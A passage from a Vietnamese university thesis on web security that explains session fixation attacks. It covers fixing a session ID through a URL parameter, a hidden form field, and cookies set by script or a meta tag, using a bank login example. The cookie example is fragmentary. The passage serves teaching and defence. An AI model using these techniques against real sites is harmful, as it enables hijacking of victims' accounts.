thuật ấn định phiên làm việc. Tiếp theo luận văn sẽ trình bày về các cách tấn công session ID trong bước 2. Khoa CNTT Chương 7: Chiếm hữu phiên làm việc -Trang 88- II.1. Tấn công Session ID trên tham số URL Hacker gửi một liên kết yêu cầu người dùng đăng nhập vào hệ thống máy đích với sessionID đã được ấn định sẵn trên URL. Ví dụ 7.II.1-1: Hình 7.II.1-1: Tấn công thông qua tham số URL 1. Hacker mở dịch vụ trực tuyến của ngân hàng thông qua địa chỉ online.worldbank.com 2. Nhận được một session ID từ trình chủ để xác định phiên làm việc của hacker. Ví dụ session ID có giá trị là 1234. 3. Sau đó hacker sẽ tìm cách gửi một liên kết đến một người dùng nào đó có tài khoản trong ngân hàng này. Những liên kết đó thường là dẫn đến trang đăng nhập vào tài khoản trong ngân hàng ví dụ liên kết là để lừa người dùng làm việc trong phiên làm việc của hackerkhi người dùng nhận được liên kết này, Khoa CNTT Chương 7: Chiếm hữu phiên làm việc -Trang 89- 4. Người dùng bị mắc lừa và mở ứng dụng Web bằng liên kết của hacker. Do đã có session ID (của hacker) nên trình chủ sẽ không tạo một session ID mới. 5. Người dùng vẫn tiếp tục đăng nhập với thông tin của mình để quản lý tài khoản. 6. Khi đó hacker sẽ vào tài khoản của người dùng mà không cần phải đăng nhập vì có cùng phiên làm việc. Nhận xét: Cách tấn công này đòi hỏi ứng dụng phải tạo session ID ngay khi người dùng sử dụng ứng dụng. Dễ bị phát hiện bởi người dùng. II.2. Tấn công Session ID trong biến ẩn form Kĩ thuật này cũng tương tự như kĩ thuật biến ẩn form, nghĩa là sau khi hacker xem mã HTML của trang Web, nhận thấy session ID được đặt trong biến ẩn form, hacker sẽ gửi một sessionID cũng trên URL đến người dùng hoặc một trang Web giống trang đích nhưng với biến ẩn form mang giá trị ấn định sẵn. Nhận xét: Phương pháp này cũng không khả thi và cũng dễ bị phát hiện như phương pháp trên. II.3. Tấn công Session ID trong cookie Bằng việc lợi dụng cookie, hacker có ba cách để đưa một session ID đến trình duyệt của nạn nhân: • Sử dụng ngôn ngữ kịch bản( Javascript, VBscript..) để thiết lập một cookie trong trình duyệt của nạn nhân. • Sử dụng thẻ để thiết lập thuộc tính Set-Cookie • Sử dụng Set-Cookie của HTTP header trả lời Khoa CNTT Chương 7: Chiếm hữu phiên làm việc -Trang 90- Cụ thể là: a) Thiết lập một cookie trên trình duyệt bằng ngôn ngữ kịch bản: Hầu hết trình duyệt đều hỗ trợ các ngôn ngữ kịch bản thực thi trên trình duyệt như Javascript, VBScript. Cả hai ngôn ngữ này có thể thiết lập một cookie cho trình duyệt bằng cách thiết lập giá trị “ document.cookie”. Ví dụ 7.II.3-1: “sessionid=1234; domain= .workbank.com”;.idc Bên cạnh đó, hacker có thể thiết lập thời gian sống cho cookie, domain cookie… và cách này phù hợp với những hệ thống hướng “tự do”. Ví dụ domain nào thuộc .workbank.com đều có thể đọc được giá trị cookie này. b) Dùng thẻ với thuộc tính Set-Cookie: Ứng dụng cũng có thể thiết lập cookie cho trình duyệt bằng thẻ trong HTML. Ví dụ 7.II.3-2: Meta tag Injection (Thêm thẻ meta):

Các file đính kèm theo tài liệu này:

  • pdfLuận văn - Nghiên cứu một số vấn đề về bảo mật trên web.pdf